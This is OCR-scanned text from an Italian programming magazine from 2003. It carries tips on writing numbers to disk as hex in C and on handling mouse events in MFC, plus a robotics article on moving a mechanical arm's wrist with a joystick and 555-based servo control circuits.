String vmName=System.getProperty("java.vm.name"); 
String vmVersion=System.getProperty("java.vm.version"); 



http://www.ioprogrammo.it 



Dicembre 2003/55 ► 



TIPS&TRICKS T H Una raccolta di trucchi da tenere a portata di... mouse 



®c 



+ + 



SCRIVERE SU DISCO NUMERI ESADECIMALI 

Dopo un anno di programmazione in basic non conosce- 
vo il significato della parola HEX, quindi, scrivere su disco 
numeri in esadecimale, era cosa impensabile. Dopo esse- 
re passato al c++ mi si è allargato l'orizzonte, di sicuro chi 
si avvicina al c++ potrà gradire questo codice d'esempio. 
Tip. fornito dal Sig. A.De Lorenzo 

Il problema risolto è la conversione double-->int di 
27076.0 



int resultjnt; 


doublé 


num_double; 


char 


string_double[25]; 


num_double 


= 2.7076; 


num_double 


*= 10000; 


resultjnt = 


(int)(num_double); 



il risultato con Pentium 4 a 1800 MHz: resultjnt = 27075 

num_double = 27076.0; 

resultjnt = (int)(num_double); 

il risultato con P4_1800 Visual_C++_4: resultjnt = 27076 

nel codice si è aggirato il problema con due conversioni. 

// doublé to string 

gcvt(num_double,5,string_double); 

// string to int 

resultjnt = atoi(string_double); 

Nel CD-Rom allegato alla rivista o sul sito web www.iopro- 
grammo.it potrete trovare un database stellare con 
2.557.457 stelle (utile per testare il tip) 



#include <conio.h> 


#include <stdio.h> 


#include <stdlib.h> 


#include <math.h> 


int Scrivi_Radianti(char *NomeFile, doublé *record,int numero_record); 


int main(void){ 


#define NUM_RECORD 8 


doublé record[NUM_RECORD]; 


record[0] = 6.2831 




record[l] = -6.2706 




record[2] = 6.0498 




record[3] = -2.4932 




record[4] = -2.6977 




record[5] = 2.8276 




record[6] = -2.7076 




record[7] = 0.0182 




Scrivi_Radianti("DataJ*adianti.dat", record, NUM_RECORD); 


printf("\n\n%s", "Premere un tasto per terminare"); 


getch(); 



return 1;} 

int ScrivLRadianti(char *NomeFile, doublé *record,int 

numero_record) { 

FILE *out; 

unsigned char a; 

unsigned char b; 

unsigned char j; 

unsigned char numjDin; 

unsigned char segno; 

int i; 

int resultjnt; 

doublé num_double; 

char string_double[25]; 

if((out = fopen(NomeFile,"wb")) == NULL) return 0; 

numjjin = 0; // binario = 00000000 

for(j=i = 0; i<numero_record; i ++,j+ + ) { 

num_double = record[i]; 

if(num_double < 0) { 

num_double = fabs(num_double); 
segno = 0; } 

else { 

segno = 1; } 

// ad ogni iterazione sposta a sinistra 

// di una posizione il bit x impostato 

// precedentemente con la chiamata (numjDin |= segno;) 

numjbin <<= 1; 
// imposta il bit (OOOOOOOx) 

numjain |= segno; 
num_double *= 10000; 

// conversione imprecisa 

// resultjnt = (int)(num_double); 

// doublé to string 

gcvt(num_double,5,string_double); 

// string to int 

resultjnt = atoi(string_double); 

// byte (resultjnt) selezionato OxFFFF 

H ^ 

a = (resultjnt >> 8) & OxFF; 

fprintf(out,"%c",a); 

// byte (resultjnt) selezionato OxFFFF 

H ^ 

b = resultjnt & OxFF; 

fprintf(out,"%c",b); 

printf("record[%d]= % 3.4f num_double = % 8.1f 

resultjnt= %#5d Hex= 0x%02X%02X segno= 
%d\n M ,i, record [i],num_double,resultJnt,a,b, segno); 

if(j ==7) 

{ 

fprintf(out,"%c",numjDÌn); 

j =Q; 

numjjin = 0; // reset numjjin = 00000000 } 

} 

j--; 

// Quando l'ultimo blocco è inferiore a 8 
// viene completato 

H 

whjleQ < 8 && j != 0) 

{ 



». 56/ Dicembre 2003 



http://www.ioprogrammo.it 



Una raccolta di trucchi da tenere a portata di... mouse H T TIPS&TRICKS 





fprin 


tf(out,"%c 


',0); 










fprin 


tf(out,"%c 


',0); 










num 


_bin << = 


1; 










num 


_bin |= 0; 












if(j = 


= = 7) fprin 


tf(out, 


'%c' 


,num_ 


_bin); 




j+ + , 


} 










fclose(ou 


t); 












return 1; 


} 



COME GESTIRE IL MOUSE 

La gestione del mouse all'interno di un'applicazione 
Visual C++ è quanto di più semplice si possa fare. Dopo 
avere generato un progetto MFC AppWizard (exe), ci si 
deve recare nel file della view dell'applicazione. Se il pro- 
getto è denominato ProvaMouse, ad esempio, si deve 
aprire il file ProvaMouseView.cpp. In seguito, nel Class- 
Wizard, che può essere selezionato da View/ Class Wizard, 
oppure premendo contemporaneamente [CTRL] + [W], 
all'interno del tab Message Maps, assicurarsi che sia sele- 
zionata la classe CProvaMouseView. Nella finestra 
Messages, selezionare il tipo di messaggio del mouse da 
gestire. Ad esempio, per gestire la pressione del tasto sini- 
stro, selezionare messaggio WM_LBUTTONDOWN; per 
gestire la pressione del tasto destro selezionare il messag- 
gio WM_RBUTTONDOWN e via dicendo. Selezionato il 
tipo di messaggio da gestire, cliccare due volte sulla rela- 
tiva voce che diventare "enfatizzata" e, nella finestra sot- 
tostante, Member Functions, comparirà il nome del 
gestore del messaggio. Ad esempio, scegliendo WM_ 
LBUTTONDOWN, ClassWizard genererà, automati ca- 
mente, il gestore OnLButtonDownQ; E' necessario creare 
un gestore di messaggi per ciascuno degli eventi di cui si 
necessita. 

All'interno del file ProvaMouseView.CPP, nella coda dei 
messaggi, ClassWizard aggiungere una riga di gestione 
del tipo: 

H 

BEGIN_MESSAGE_MAP(CProvaMouseView, CView) 

//{{AFX_MSG_MAP(CProvaMouseView) 

ON_WM_LBUTTONDOWN() 

ON_WM_RBUTTONDOWN() 

//}}AFX_MSG_MAP 

// Standard printing commands 

ON_COMMAND(ID_FILE_PRINT, CView:: OnFilePrint) 

ON_COMMAND(ID_FILE_PRINT_DIRECT, CView:: OnFilePrint) 

ON_COMMAND(ID_FILE_PRINT_PREVIEW, CView:: OnFilePrintPreview) 

END_MESSAGE_MAP() 

H 

I gestori veri e propri vengono inseriti in coda al file: 

///////////////////////////////////////////////////////////////////////////// 

II CProvaMouseView message handlers 

void CProvaMouseView:: Onl_ButtonDown(UINT nFlags, CPoint point) 

{ 

// TODO: Add your message handler code here and/or cali default 
CView:: OnLButtonDown(nFlags, point); 

} 



void CProvaMouseView:: OnRButtonDown(UINT nFlags, CPoint point) 

{ 

// TODO: Add your message handler code here and/or cali default 

CView:: OnRButtonDown(nFlags, point); 

} 

A questo punto, nei gestori inserire le funzionalità da 

implementare. 

Ad esempio: 

void CProvaMouseView:: OnLButtonDown(UINT nFlags, CPoint point) 

{ 

// TODO: Add your message handler code here and/or cali default 

CView:: OnLButtonDown(nFlags, point); 

MessageBox("Hai premuto il tasto sinistro del mouse", "Gestione del mouse"); 

} 

void CProvaMouseView:: OnRButtonDown(UINT nFlags, CPoint point) 

{ 

// TODO: Add your message handler code here and/or cali default 

CView: :OnRButtonDown(nFlags, point); 

MessageBox("Hai premuto il tasto destro del mouse", "Gestione 

del mouse"); 
} 



• 



Questo mese 
in palio un 

ECCEZIONALE 
KIT FREE ADSL 
NETSYSTEM 





«r SAT 
MODEM 
PCI 



Inviaci la tua soluzione ad un problema di 

programmazione, una faq, un tip... 

Tra tutti quelli giunti mensilmente in redazione, 

saranno pubblicati i più meritevoli e, fra questi, 

scelto il Tip del mese, 
PREMIATO CON UN FANTASTICO OMAGGIO! 

Invia i tuoi lavori a ioptogrammo@edmaster.it 



http://www.ioprogrammo.it 



Dicembre 2003/57 ► 



ELETTRONICA T I Braccio meccanico - quarta parte 



Robotica: hardware e software 



Muoviamo il robot 
con un joystick 

Analizzata la presa della mano ed i sensori relativi, nonché la 
flessione del polso, vediamo come gestirne la rotazione e come 
muovere il braccio attraverso un comune Joystick. 




CONTATTA 
L'AUTORE 



L'autore è lieto di 

rispondere ai quesiti 

dei lettori 

sull'interfacciamento 

dei PC all'indirizzo: 

luca.spuntoni© 

ioproqrammo.it 



Sono le sette del mattino: il nostro robot dome- 
stico ha già provveduto a curare le piante di 
casa, ed è intento a preparare la colazione. 
Dopo che saremo usciti di casa provvedere a passa- 
re l'aspirapolvere dappertutto e a predisporre un 
carico di biancheria per la lavatrice. Per controllare a 
che punto sia la colazione indossiamo, stando 
comodamente a letto, il nostro visore ed il guanto 
Virtual Reality Pro, apriamo il menu di controllo con 
un gesto dell'indice ed aggiungiamo un cucchiaino 
di fruttosio extra all'espressino decaffeinato della 
moglie ed un paio di ovetti di cioccolato per i figli. 
Dopo pochi minuti vediamo apparire il nostro robot 
intento a portare la colazione a letto a tutta la fami- 
glia. Tutto questo non è fantascienza, ma è alla por- 
tata delle capacità tecnologiche contemporanee. 
Diversi lettori mi chiedono in quanto tempo il brac- 
cio meccanico sarà pronto: ormai non manca molto, 
in queste pagine analizzeremo il movimento della 
flessione del polso della mano meccanica, movi- 
mento che concettualmente è identico alla flessione 
del gomito e della spalla, fatte salve alcune differen- 
ze costruttive, soprattutto dal punto di vista mecca- 
nico. In questo appuntamento faremo molto di più: 





Fig. 1: Il braccio meccanico è costruito interamente in 
alluminio e permette di manipolare oggetti di dimensioni 
e peso anche considerevolr.in questo articolo vedremo 
come muovere la mano per mezzo di un joystick. 



Fig. 2: L'apparecchiatura PC Explorer tight è prodotta e 
commercializzata dalla Elisys s.r.l. e può essere acquista- 
ta inviando una e-mail all'indirizzo pcexplorer@elisys.it, 
oppure telefonicamente al numero 0823/468565 o via 
Fax al: 0823/494619. 



al termine della lettura di questo articolo, saremo in 
grado di muovere il nostro braccio meccanico co- 
struito fino a questo punto, per mezzo di un joystick. 
L'applicazione così costruita ha già un numero note- 
vole di applicazioni pratiche, che svilupperemo ed 
amplieremo nei prossimi appuntamenti, fino alla 
costruzione di un vero e proprio robot domestico. 



IL JOYSTICK 

Il loystick risulta essere una delle prime periferiche 
di puntamento che siano state realizzate per perso- 
nal computers. Quando i PC ed i primi home com- 
puters erano gestiti dai primi sistemi operativi ed 
mouse, che ormai è divenuto un sistema di punta- 
mento di ovvia presenza vicino ad ogni computer, 
era uno strumento nuovo ed avveniristico, il joystick 
figurava come una utile appendice, soprattutto per 
l'esecuzione dei primi videogames. I joystick a mi- 



»> 60/Dicembre 2003 



http://www.ioprogrammo.it 



Braccio meccanico - quarta parte H T ELETTRONICA 



_ 


^fcssk. 


- h 






^M^^^j^^s3 



Fig. 3: La connessione del Joystick alla apparecchiatura 
PC Explorer light, avviene per mezzo di un semplice cavo, 
come mostrato in figura. 

crointerruttore, che permettevano soltanto la defini- 
zione della direzione del movimento, lasciarono il 
posto ai dispositivi proporzionali, che consentivano 
un movimento più graduale. Lo standard industria- 
le attuale si basa su questo tipo di dispositivo di pun- 
tamento: in seguito su un unico connettore della 
porta venne reso possibile il collegamento di ben 
due joystick, per rendere possibile l'interazione tra 
due giocatori. La tab. 1 rappresenta le connessioni 
interne di una porta joystick standard, unite alle 
indicazioni relative al cavo di interfaccia che costrui- 
remo successivamente, per rendere possibile il con- 
trollo del braccio meccanico. Dall'analisi della 




Fig. 4: Il servocomando utilizzato per la rotazione del 
polso del Robot è reperibile in qualunque negozio di hob- 
bistica e modellismo. 

tabella notiamo che per ogni Joystick vengono 
individuati i due assi del movimento, identifican- 
do con l'asse X quello relativo alla traslazione 
destra-sinistra e con asse Y, quello relativo al 
movimento alto-basso. Ogni asse viene collegato 
ad un potenziometro, normalmente di tipo lineare 
da 100 KOhm. Per ogni dispositivo vengono inoltre 
utilizzati due pulsanti, chiamati semplicemente 
Pulsante 1 e Pulsante 2. Ciascuna coppia di poten- 
ziometri e di interruttori, viene gestita utilizzando 
una linea comune, in modo tale da utilizzare sol- 
tanto tre contatti sul connettore, anziché quattro. 
Nella nostra esperienza utilizziamo soltanto un 
Joystick, dei due disponibili, come appare eviden- 
te dalla lista delle connessioni di Tab. 1. Compie- 



r N. PIN 
Connettore 


Joystick 


CONNESSIONE 


COLORE ' 


1 


A 


COMUNE POTENZIOMETRI 


NERO 


2 


A 


PULSANTE 1 


VERDE 


3 


A 


POTENZIOMETRO ASSE X 


BLU 


4 


A 


COMUNE PULSANTI 


BIANCO 


5 


NC 


NON CONNESSO 




6 


A 


POTENZIOMETRO ASSE Y 


ROSSO 


7 


A 


PULSANTE 2 


GIALLO 


8 


NC 


NON CONNESSO 




9 


B 


COMUNE POTENZIOMETRI 




10 


B 


PULSANTE 1 




11 


B 


POTENZIOMETRO ASSE X 




12 


B 


COMUNE PULSANTI 




13 


B 


POTENZIOMETRO ASSE Y 




14 


B 


PULSANTE 2 




15 


NC 


NON CONNESSO 




^ Tab. 1: Connessioni interne di una porla joystick j 



tata la descrizione funzionale del joystick, proce- 
diamo ad analizzarne le metodologie di utilizzo. 



LA COSTRUZIONE DEL 
CAVO PER L'UTILIZZO 
DEL JOYSTICK 

Per potere utilizzare il joystick per gestire il nostro 
braccio meccanico e per le esperienze future, abbia- 
mo bisogno di costruire un semplice cavo che per- 
metta di accedere alle linee di questo dispositivo di 
puntamento. Per realizzare questo cavo di connes- 
sione possiamo agire in due modi: procedere alla 
costruzione della connessione armandoci di stagno 
e saldatore, oppure acquistare una prolunga D15 pin 
to pin e sfruttare la parte dotata di connettore fem- 
mina. La seconda alternativa è senz'altro quella 
costruttivamente più semplice: consiste semplice- 
mente nell' acquistare un cavo di prolunga per joy- 
stick e tranciare il connettore maschio: a questo 
punto, una volta spellati i 15 terminali, occorre con- 
trollare, per mezzo di un tester, ciascun filo a quale 
piedino del connettore corrisponda, ed annotare i 
risultati, che potrebbero non coincidere con i colori 
riportati in Tab. 1 (ciascuna casa costruttrice di cavi 
adotta una propria sequenza di colori). Volendo 
costruire un proprio cavo, possiamo fare riferimen- 
to alla lista di connessioni riportata in Tab. 1. 
Durante la realizzazione del cavo, è importante che 
il saldatore sia ben caldo e che i fili non presentino 
strati di ossido che potrebbero compromettere la 
buona riuscita della saldatura, la quale dovrebbe 
apparire come se bagnasse il contatto del connetto- 
re e del filo stesso. 

E' fondamentale, inoltre, che si faccia attenzione a 
non creare contatti tra due terminali attìgui, per non 
compromettere le funzionalità del cavo. Nel caso di 
dubbi è possibile verificare se i collegamenti siano 




ACQUISTARE 
PC EXPLORER 
LIGHT 

L'apparecchiatura PC 
Explorer light è 
prodotta e 

commercializzata dalla 
Elisys s.r.l. e può essere 
acquistata inviando 
una e-mail all'indirizzo 
pcexplorer@elisys.it, 
oppure 

telefonicamente al 
numero 0823/468565 o 
via Fax al: 0823/494619. 



http://www.ioprogrammo.it 



Dicembre 2003/61 ► 



ELETTRONICA T I Braccio meccanico - quarta parte 





IL BRACCIO 

MECCANICO E 

PC EXPLORER 

LIGHT 

Per maggiori informa- 
zioni sul braccio mec- 
canico, sulle interfacce 
relative e sull'apparec- 
chiatura 'PC Explorer 
light' è possibile visita- 
re il sito: 
http://web,tisca li.it/spun- 
tosoft/ 
oppure scrivere all'in- 
dirizzo: luca. spuntoni© 
ioprogrammo.it 




IL BRACCIO 

MECCANICO 

IN AZIONE 

Nel CD allegato alla 
rivista sono disponibili 
due filmati che mostra- 
no la mano meccanica 
in azione. (Robot rota- 
zione del polso1.AVI e 
Robot rotazione del j3 
olso2.AVI). 



r PINPC 

Explorer 

light 


SEGNALE 


DIREZIONE 


TIPO PORTA 


PIN PORTA 


DESCRIZIONE 


2 


DO 


OUT 


PARALLELA DATA DO 


2 


Open Hand 


3 


DI 


OUT 


PARALLELA DATA DI 


3 


Close Hand 


4 


D2 


OUT 


PARALLELA DATA D2 


4 


INFRA RED sensor EMETTER 


5 


D3 


OUT 


PARALLELA DATA D3 


5 


DISCONNECTED 


10 


ACK 


IN 


PARALLELA STATUS S6 


10 


INFRA RED sensor RECEIVER 


11 


BUSY 


IN 


PARALLELA STATUS /S7 


11 


Reserved 


12 


PE 


IN 


PARALLELA STATUS S5 


12 


Pression sensor 1 


17 


SLCTIN 


IN 


PARALLELA STATUS S4 


17 


Pression sensor 2 


14 


AUTOFD 


IN 


PARALLELA STATUS S3 


14 


Pression sensor 3 


18 


GND 


PARALLELGND 


PARALLELA 


18-25 


Signal Ground 


Tab. 2: Caratteristiche elettriche del sistema. 



stati eseguiti correttamente, utilizzando un comune 
tester per controllare la effettiva connessione dall'e- 
stremità del cavo al piedino del connettore e succes- 
sivamente che non sia presente alcun contatto elet- 
trico tra piedini vicini. Fatto questo possiamo chiu- 
dere il connettore all'interno del proprio contenito- 
re e dotare il fascio di fili di un rivestimento idoneo, 
se sono stati utilizzati fili singoli, oppure di qualche 
fascetta di materiale plastico. A questo punto il no- 
stro cavo è pronto per l'utilizzo. 



CONTROLLO DELLA 
MANO PER MEZZO 
DEL JOYSTICK 

Innanzi tutto, per rendere più chiara la strategia 
costruttiva del sistema, analizziamo lo schema a 
blocchi dei circuiti di controllo del braccio meccani- 
co realizzato fino a questo punto. Come si può nota- 
re, la linea D3, che nell'appuntamento precedente 
abbiamo utilizzato per collaudare il funzionamento 



Driver azionamento Mano 



'"" 




J 


Sensori del Tatto 

G Sensori di pressione 
1 Sensore di prossimità IR 








™" 






"™" <«* " 


"" 


'■"■■■' 


.,..,„ 









Rotazione del polso 
1 Pulse Wldth Hodulation 



Flessione del polso 
1 Pulse wldth Hodulation 



Fig. 5: La figura rappresenta lo schema a blocchi del 
braccio meccanico, limitatamente alla presa della mano, 
ai sensori del tatto e di prossimità, alla rotazione ed alla 
flessione del polso. Lo schema per comodità e su richies- 
ta dei lettori è stato inserito all'interno del file: 
'ROBOT Gestione_mano.ZIP', con il nome: 
'Flessione_del_polso_schema_a blocchi.bmp' 

del servomeccanismo atto alla rotazione del polso, è 
stato scollegato, per rendere possibile il controllo dei 
movimenti di rotazione e flessione del polso, per 



mezzo del joystick. Scendendo un poco nel detta- 
glio, possiamo dire, come vedremo più innanzi nel- 
l'analisi dello schema elettrico, che il movimento 
sull'asse X del Joystick, verrà utilizzato per la gestio- 
ne della rotazione del polso, mentre quello sull'asse 
Y per implementarne il movimento di flessione. In 
Tab. 2 si riassumono tutte le caratteristiche salienti 
del sistema, che verranno poi tradotte sotto forma di 
schema elettrico più avanti in queste pagine. Il letto- 
re potrà risalire alle funzionalità delle linee relative al 
controllo della presa della mano e dei sensori relati- 
vi, consultando gli articoli pubblicati nei tre numeri 
precedenti. 



LO SCHEMA ELETTRICO 

Lo schema elettrico, visibile in figura 6 e disponibile 
sul CD allegato alla rivista, all'interno del file: 
ROBOT_Gestione_mano.ZIP, con il nome: Rotazio- 
ne_e_flessione_del_polso_schema_Elettrico.bmp, 
può essere diviso concettualmente in due parti 
identiche, ciascuna delle quali ha il compito di con- 
trollare uno dei servocomandi PWM che si occupa- 
no del movimento di rotazione e flessione del polso. 




Fig. 6: In figura viene riportato lo schema elettrico del 
circuito di controllo, che per comodità e su richiesta dei 
lettori è stato inserito all'interno del file: 
'ROBOT Gestione_mano.ZIP', con il nome: 
'Rotazione_eflessione_delpolso_schema Elettrico.bmp' 

I servocomandi Pulse Width Modulation (PWM), 
sono un tipo particolare di attuatore elettromecca- 



». 62/Dicembre 2003 



http://www.ioprogrammo.it 



Braccio meccanico - quarta parte H T ELETTRONICA 



nico, comunemente utilizzato in applicazioni di 
modellismo dinamico, che basano loro funziona- 
mento sulla decodifica di un treno di impulsi che 
viene inviati sul terminale di controllo. 
In questa sede faremo riferimento a quel tipo di 
attuatori dotati di blocco, che ne limita l'escursione 
a circa +/-100" rispetto alla posizione centrale, pur 
esistendo servomeccanismi di questo genere liberi 
di ruotare sul loro asse, come semplici motori. 
Nella parte sinistra dello schema, è visibile il joystick 
che viene utilizzato per il movimento della mano 
meccanica, collegato al circuito attraverso il cavo 
proposto precedentemente. 
Il lettore attento avrà notato che stiamo utilizzando 




Fig. 7: L'immagine mostra l'analisi all'oscilloscopio digi- 
tale, dei segnali prodotti dal circuito proposto in queste 
pagine. 

soltanto le tre linee relative ai potenziometri interni 
al joystick, mentre i pulsanti verranno utilizzati in 
applicazioni future. 

I potenziometri degli assi X e Y, vengono utilizzati 
per variare la tensione presente sul piedino AG dei 
circuiti integrati 555, attraverso il partitore resistivo 
presente all'interno del chip, che controlla il livello 
di trigger e soglia del componente. 

II questo modo variamo il parametro fondamentale, 
costituito dalla durata dell'impulso positivo di con- 
trollo che può variare tra 1 mSec e 2 Msec, valori che 
corrispondono alle due posizioni estreme del servo- 
comando. 

Ovviamente, se si desidera posizionare il servoco- 




Fig. 8: In figura si nota il circuito completamente realiz- 
zato e collegato alla mano meccanica. 
Per maggiori informazioni sul braccio meccanico, sulle 
interfacce relative e sull'apparecchiatura 'PC Explorer 
light' è possibile visitare il sito :' 

http://web.tiscali.it/spuntosoft/' oppure scrivere all'indi- 
rizzo di posta elettronica luca.spuntoni@ioprogrammo.it. 



mando nella posizione centrale, sarà sufficiente 
inviare un treno di impulsi positivi, della durata di 
1,5 Msec. Riferendoci alla parte alta dello schema 
elettrico, relativo al servo della rotazione del polso, 
notiamo che la lunghezza dell'impulso positivo 
viene stabilito dai valori dei componenti R1,R2 e CI, 
che determinano la costante di tempo di carica del 
condensatore CI (ed il tempo in cui raggiunge un 
certo valore di soglia corrispondente a TI), mentre la 
sua scarica, proporzionale all'intervallo di tempo T2 
dipende soltanto da R3 e CI. Il circuito rimanente, 
atto alla flessione del polso si comporta in modo 
identico al precedente. Allo scopo di semplificare il 
circuito non sono stati inseriti elementi aggiuntivi di 
calibrazione, quindi può capitare che la posizione 
del servo non sia centrale quando il joystick è in 
posizione neutra. 

Sul lato destro dello schema si possono notare le 
connessioni alle linee di alimentazione dell'appa- 
recchiatura PC Explorer light. 
Per maggiori dettagli sulla parte circuitale relativa al 
controllo dei sensori della mano meccanica e della 
presa della mano è possibile consultare gli articoli 
relativi, pubblicati sui numeri precedenti di questa 
rivista. L'apparecchiatura PC Explorer light è prodot- 
ta e commercializzata dalla Elisys s.r.l. e può essere 
acquistata inviando una e-mail all'indirizzo pcex- 
plorer@elisys.it, oppure telefonicamente al numero 
0823/468565 o via Fax al: 0823/494619. 
L'architettura del sistema rende possibile il massimo 
controllo software del braccio meccanico, rendendo 
disponibili tutti i segnali di uscita ed ingresso per la 
sua gestione: il circuito elettrico è volutamente 
molto semplice, occorre però un accurato controllo 
degli errori e delle condizioni logiche proibite attra- 
verso il software di gestione. 



LA REALIZZAZIONE 
DEL CIRCUITO 

E' giunto il momento di assemblare i componenti ed 
infine di collegare il cavo relativo al loystick e le con- 
nessioni dei servomeccanismi. La lista dei compo- 
nenti necessari viene riportata nel box laterale e 
nello schema elettrico del circuito, per comodità e 
su richiesta dei lettori all'interno del file: RO- 
BOT _Gestione_mano.ZIP, con il nome: Rotazio- 
ne_eJiessione_dei_polso_schema_Elettrico.bmp. 
Provvediamo ad inserire prima i componenti più 
piccoli ed a profilo più basso, ovvero il circuito inte- 
grato, i diodi e le resistenze, posizioniamo quindi i 
condensatori. Provvediamo ad eseguire i collega- 
menti per mezzo di spezzoni di filo rigido, cercando 
di eseguire un cablaggio ordinato, per facilitare l'e- 
ventuale ricerca degli errori. Le immagini riportate 
in queste pagine sono utili, insieme all'analisi dello 
schema elettrico ai fini della costruzione del circuì- 





COMPONENTI 
NECESSARI 



2 Servocomandi PWM 
2 Circuiti integrati 555 
4 Diodi 1N4148 
2 Resistenza 1 K Ohm 

1/4 W 
2 Resistenza 3,3 K 

Ohm 1/4 W 
2 Resistenze 100K 

Ohm 1/4 W 
2 Condensatori 

220000 pf poliestere 
1 Joystick 



BIBLIOGRAFIA 



• CONTROLLIAMO LA 
PORTA PARALLELA CON 
DELPHI 6 

Luca Spuntoni 
ioProgrammo N. 57-58 
Aprile e Maggio 2002. 

• ELETTRONICA 
E ROBOTICA 
Luca Spuntoni 
ioProgrammo N. 71-72-73 
Settembre, Ottobre e 
Novembre 2003. 



http://www.ioprogrammo.it 



Dicembre 2003/63 ► 



ELETTRONICA T I Braccio meccanico - quarta parte 





IL SOFTWARE 

Il codice sorgente della 

applicazione e tutti i 

componenti necessari 

sono reperibili sul CD o 

sul web all'interno del 

file: 'ROBOT^ 

Gestione mano.ZIP'. 

Il software di controllo 

è stato collaudato con 

Win 3.x, Win 9x e Win 

Me, se si utilizza Win 

2000, oppure NT, 

occorre scrivere una 

parte di codice che 

gestisca i privilegi del 

sistema, per non 

incorrere ad un errore 

del tipo 'Privileged 

error'. 



'„;,;:,., mi i ■■<!!!!<■! ,_ „, — 

"jg 1 •«•••••••••••IIIiIIIIiJI^IiIìiiiiiimÌ f^l 




IL SOFTWARE 
CONTROLLO 



Fig. 9: L'immagine mostra il circuito completamente 
montato. 



to. Si nota che, in analogia con lo schema elettrico, 
anche per quanto riguarda l'assemblaggio dei com- 
ponenti le due sezioni relative al controllo dei due 
servocomandi sono identiche. Terminato l'assem- 
blaggio dei componenti provvediamo a collegare il 
cavo relativo alla connessione del Joystick, descritto 
in precedenza ed il fiat cable, corrispondente ai sen- 
sori della mano meccanica. Il cablaggio può essere 
eseguito facilmente utilizzando l'apparecchiatura 
mostrata in figura, chiamata PC Explorer light, la più 





*^™T?3 








llllill] 

umili 




FTft ': L L 1 1 1IH- 


il 

* * *m 


WUm m i ■ 






jfelSzir 


\\,\ 




flit * 

P 


■ i 


3 




io 

: i>. ' • • ' ' 


■ ■ • ■ ■ 


• • 





Fig. 10: Per rendere possibile l'utilizzazione dei sette 
sensori di pressione ed IR della mano, colleghiamo l'ap- 
posito connettore. 

semplice della famiglia PC Explorer, sulla quale è 
possibile avere maggiori informazioni sul sito 
http:llweb.tiscali.it/spuntosoftl , oppure scrivendo 
all'indirizzo luca.spuntoni@ioprogrammo.it. 

L'apparecchiatura PC Explorer light è prodotta e 
commercializzata dalla Elisys s.r.l. e può essere 
acquistata inviando una e-mail all'indirizzo pcex- 
plorer@elisys.it, oppure telefonicamente al numero 
0823/468565 o via Fax al: 0823/494619. In alternati- 
va è possibile utilizzare le tecniche costruttive con- 
venzionali, ovvero dotandosi di stagno, saldatore ed 
una buona dose di pazienza: il lettore ha in ogni caso 
tutte le informazioni necessarie alla realizzazione 
della parte hardware e più avanti troverà il software 
di gestione, completo di componenti pronti all'uso, 
del programma compilato e funzionante dotato di 
codice sorgente. 



Il programma di gestione del braccio meccanico, 
costruito fino a questo punto è allegato al CD ROM 
o reperibile sul web, dotato di file eseguibile e di tutti 




Warning: Use this program and this circuit at your own risica wrong use may damage your syster 
Read the 'Licence and Disclaimer' file before usinq it. SpuntoSoft@tiscali.it 



Fig. 11: Il programma è dotato di tutti i comandi relativi 
al movimento di apertura della mano meccanica, del con- 
trollo dei sensori di pressione e di prossimità IR e della 
rotazione del polso. 

i componenti compatibili Delphi e C++ Builder, 
nonché dei relativi codici sorgenti. 
Il programma si occupa di controllare l'apertura e la 
chiusura della mano meccanica, nonché la gestione 
dei sensori di pressione e prossimità IR: il movimen- 
to della rotazione e della flessione avviene tramite 
Joystick, a questo proposito, dal momento che la 
linea D3 della porta parallela è stata scollegata, note- 
remo che la parte corrispondente del programma, 
ovviamente risulta inattiva. Il software di controllo è 
il responsabile della gestione di tutta la applicazio- 
ne: gli schemi elettrici, infatti, sono ridotti all'essen- 
ziale e deve essere posta la massima cura da parte 
del programmatore affinché non si verifichino con- 
dizioni proibite nello stato logico delle linee hardwa- 




Warning: Use this program and this circuit at your own riska wrong use may damage your system 
Read the 'Licence and Disclaimer' tile before usino it 5puntoSoft@tiscali it 



Fig. 12: Il software è dotato di un monitor della porta 
parallela, che permette l'accesso diretto ai tre indirizzi 
fisici delle porte Dati, di Status e di Controllo. 

re di controllo. Il programma ha la caratteristica di 
accedere all'hardware del PC attraverso i propri 
indirizzi fisici di I/O, questa tecnica, dal momento 



»> 64/ Dicembre 2003 



http://www.ioprogrammo.it 



Braccio meccanico - quarta parte H T ELETTRONICA 



che scavalca il sistema operativo, potrebbe non pia- 
cere a Windows NT, 2000, oppure XF! pertanto si 
consiglia di utilizzare un calcolatore dotato di Win 
3.X, Win 9X, oppure Millennium. In alternativa 
occorre scrivere una parte di codice che gestisca i 
privilegi del sistema, per non incorrere ad un errore 
del tipo Privileged error, oppure utilizzare un driver, 
quale PortTalk (PortTalk22.zip), scaricabile del sito: 
http://www.beyondlogic.org. 

Una ulteriore alternativa che risolve ogni problema 
è la scrittura di un appropriato Device Driver, che 
però esula dallo scopo di queste pagine, data la 
complessità dell'argomento del programma, per 
motivi di brevità ne sono state analizzate solamente 
le parti fondamentali alla comprensione della 
gestione software della mano meccanica: per quan- 
to riguarda il controllo del motore di azionamento 
della pinza e la gestione dei sensori, si invita il letto- 
re a consultare gli articoli relativi pubblicati nei 
numeri precedenti. 



tabella riportati all'inizio dell'articolo. Alimentiamo 
il circuito e lanciamo il programma di gestione: 
Muoviamo il Joystick verso sinistra, dovremmo 
vedere ruotare la mano meccanica in senso antiora- 
rio ed in senso opposto muovendo il joystick verso 
destra. Spostando la leva in avanti, la mano dovreb- 
be muoversi verso il basso e verso l'alto spostando il 
joystick indietro. 




/ — 


A^ ì 







Fig. 14: Nel CD allegato alla rivista e sul web: 
www.ioprogrammo.it è disponibile un filmato che mostra 
la mano meccanica in azione (Robot_Joystick.AVI). 



COLLAUDO 
DEL SISTEMA 

Giunti a questo punto siamo in grado di azionare il 
braccio meccanico, nei suoi tre primi gradi di 
libertà, prima di fare ciò, e prima di alimentare cir- 
cuito è bene controllare che il circuito, sia stato 
montato correttamente. 

Innanzi tutto prima di collegare il circuito al nostro 
PC occorre verificare la realizzazione con attenzione 
per assicurarci che tutto sia stato connesso come 
previsto: controlliamo che i connettori siano ben 
serrati e che nessuna parte metallica della mano 
possa urtare il circuito elettrico. Colleghiamo al 




Fig. 13: La realizzazione dei circuiti elettronici presentati 
in questa sede è stata effettuata con l'apparecchiatura 
'PC Explorer light': si nota il cavo di connessione al 
Joystick. 

nostro circuito il cavo relativo alla porta parallela del 
PC, se possediamo PC Explorer oppure PC Explorer 
light come mostrato in figura, oppure provvedendo 
a costruire un cavo seguendo lo schema elettrico e la 



La gestione della presa della mano e dei sensori è già 
stata trattata negli appuntamenti precedenti. Se il 
circuito non funziona, provvediamo a spegnere 
tutto prima di ricontrollare i collegamenti e riprova- 
re di nuovo. 

